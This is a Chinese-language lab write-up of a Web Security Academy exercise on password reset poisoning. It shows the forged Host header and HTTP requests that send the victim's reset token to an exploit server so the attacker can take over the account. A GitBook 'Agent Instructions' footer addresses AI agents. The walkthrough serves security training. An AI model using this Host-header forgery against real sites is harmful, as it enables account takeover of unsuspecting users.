> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/basic-password-reset-poisoning.md).
# 密码重置机制的基础投毒
### 基础密码重置投毒
**实验说明**
本实验展示了密码重置流程被投毒的漏洞。/ 用户 **carlos** 会毫无戒心地点击通过电子邮件收到的所有链接。
目标：
* 利用此故障获取一个有效的重置链接
* 登录到 **Carlos 账户**
提供的标识符：
* 用户： **wiener**
* 密码： **peter**
发送到此账户的所有电子邮件都可以通过服务器的邮件客户端访问\*\*。
**初步观察**
该应用提供一个 \*\*
当输入 `wiener` 用户时，会正确发送一封重置邮件。
**后端请求分析**
重置请求期间发送的 HTTP 请求如下：
```http
POST /forgot-password HTTP/2
Host: 0af900f303cc106580bb030b00540086.web-security-academy.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53
csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=wiener
```
**Host 标头操纵测试**
通过将 `Host` 标头值替换为任意域名（例如 `test.com`），服务器始终会将该请求处理为有效，并根据这个被修改过的 Host 生成重置链接。
```http
Host: test.com
```
页面会以与正常主机页面相同的方式解释内容。
这证实了对 Host\*\* 标头的过度信任。
**漏洞利用**
攻击包括：
1. 更改 `Host` 标头以放置域名**exploit server**
2. 为用户请求重置 **carlos**
应用程序：
```http
POST /forgot-password HTTP/2
Host: exploit-0a5c001303a8105f80b302b10120000a.exploit-server.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53
csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=carlos
```
**结果**
* 服务器根据 **攻击者控制的 Host**
* 用户 **carlos** 点击通过电子邮件收到的这个陷阱链接
* 然后，重置令牌会显示在利用服务器的日志中
* 你可以为该账户设置新密码 **carlos**
* 成功连接到目标账户
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/basic-password-reset-poisoning.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.